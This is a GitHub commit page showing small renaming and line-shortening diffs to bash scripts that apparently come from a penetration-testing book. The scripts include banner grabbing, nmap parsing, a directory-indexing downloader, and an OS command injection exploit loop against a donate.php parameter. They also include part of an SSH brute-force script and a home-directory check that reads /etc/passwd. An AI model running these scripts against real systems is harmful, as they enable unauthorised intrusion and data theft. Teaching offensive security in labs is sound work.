Skip to content

Commit

Permalink
line shortening, fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Feb 23, 2024
1 parent 3b64f8e commit 03f34e4
Show file tree
Hide file tree
Showing 8 changed files with 16 additions and 16 deletions.
2 changes: 1 addition & 1 deletion ch01/local_scope_variable.sh
Original file line number Diff line number Diff line change
Expand Up @@ -10,4 +10,4 @@ print_name(){

print_name

echo "The variable ${name} will not be printed here because it is a local variable."
echo "Variable ${name} will not be printed here because it is a local variable."
10 changes: 5 additions & 5 deletions ch04/curl_banner_grab.sh
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
#!/bin/bash
DEFAULT_PORT="80"

read -r -p "Type a target IP address: " ip_address
read -r -p "Type a target IP address: " ip
read -r -p "Type a target port (default: 80): " port

if [[ -z "${ip_address}" ]]; then
if [[ -z "${ip}" ]]; then
echo "You must provide an IP address."
exit 1
fi
Expand All @@ -14,8 +14,8 @@ if [[ -z "${port}" ]]; then
port="${DEFAULT_PORT}"
fi

echo "Attempting to grab the Server header of ${ip_address}..."
echo "Attempting to grab the Server header of ${ip}..."

result=$(curl -s --head "${ip_address}:${port}" | grep Server | awk -F':' '{print $2}')
result=$(curl -s --head "${ip}:${port}" | grep Server | awk -F':' '{print $2}')

echo "Server header for ${ip_address} on port ${port} is: ${result}"
echo "Server header for ${ip} on port ${port} is: ${result}"
4 changes: 2 additions & 2 deletions ch04/nmap_to_portfiles.sh
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#!/bin/bash
HOSTS_FILE="172-16-10-hosts.txt"
NMAP_RESULT=$(nmap -iL ${HOSTS_FILE} --open | grep "Nmap scan report\|tcp open")
RESULT=$(nmap -iL ${HOSTS_FILE} --open | grep "Nmap scan report\|tcp open")

# read the nmap output line by line
while read -r line; do
Expand All @@ -11,4 +11,4 @@ while read -r line; do
file="port-${port}.txt"
echo "${ip}" >> "${file}"
fi
done <<< "${NMAP_RESULT}"
done <<< "${RESULT}"
2 changes: 1 addition & 1 deletion ch04/os_detection.sh
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ nmap_scan=$(sudo nmap -O ${HOSTS} -oG -)

while read -r line; do
ip=$(echo "${line}" | awk '{print $2}')
os=$(echo "${line}" | grep OS | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g')
os=$(echo "${line}" | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g')

if [[ -n "${ip}" ]] && [[ -n "${os}" ]]; then
echo "IP: ${ip} OS: ${os}"
Expand Down
2 changes: 1 addition & 1 deletion ch05/directory_indexing_scanner.sh
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ while read -r line; do
echo "Testing ${url} for Directory indexing..."
if curl -L -s "${url}" | grep -q -e "Index of /" -e "[PARENTDIR]"; then
echo -e "\t -!- Found Directory Indexing page at ${url}"
echo -e "\t -!- Beginning a recursive download to the \"${OUTPUT_FOLDER}\" folder..."
echo -e "\t -!- Downloading to the \"${OUTPUT_FOLDER}\" folder..."
mkdir -p "${OUTPUT_FOLDER}"
wget -q -r -np -R "index.html*" "${url}" -P "${OUTPUT_FOLDER}"
fi
Expand Down
6 changes: 3 additions & 3 deletions ch06/os-command-injection.sh
Original file line number Diff line number Diff line change
Expand Up @@ -8,16 +8,16 @@ while true; do
command=$(printf %s "${raw_command}" | jq -sRr @uri)

# Store the previous list of command outputs
previous_response=$(curl -s "http://${host}:${port}/amount_to_donate.txt")
prev_resp=$(curl -s "http://${host}:${port}/amount_to_donate.txt")

# Execute the OS Command Injection vulnerability
curl -s -o /dev/null "http://${host}:${port}/donate.php?amount=1|${command}"

# Store the new list of command outputs
new_response=$(curl -s "http://${host}:${port}/amount_to_donate.txt")
new_resp=$(curl -s "http://${host}:${port}/amount_to_donate.txt")

# Extract only the difference between the two command outputs
delta=$(diff <(echo "${previous_response}") <(echo "${new_response}") --line-format=%L)
delta=$(diff <(echo "${prev_resp}") <(echo "${new_resp}") --line-format=%L)

# Output the command result
echo "${delta}"
Expand Down
2 changes: 1 addition & 1 deletion ch07/ssh-bruteforce.sh
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ for username in "${USERNAMES[@]}"; do
echo "Username: ${username}"
echo "Password: ${password}"

# You can perform additional actions here using the successful credentials
# Perform additional actions here using the credentials

exit 0
fi
Expand Down
4 changes: 2 additions & 2 deletions ch08/home_dir_access_check.sh
Original file line number Diff line number Diff line change
Expand Up @@ -12,9 +12,9 @@ while read -r line; do
# Only target home directories under /home
if echo "${home_dir}" | grep -q "^/home"; then
if [[ -r "${home_dir}" ]]; then
echo "Home directory ${home_dir} of user account ${account} is accessible!"
echo "Home directory ${home_dir} of ${account} is accessible!"
else
echo "Home directory ${home_dir} of user account ${account} is NOT accessible!"
echo "Home directory ${home_dir} of ${account} is NOT accessible!"
fi
fi
done < <(cat "/etc/passwd")

0 comments on commit 03f34e4

Please sign in to comment.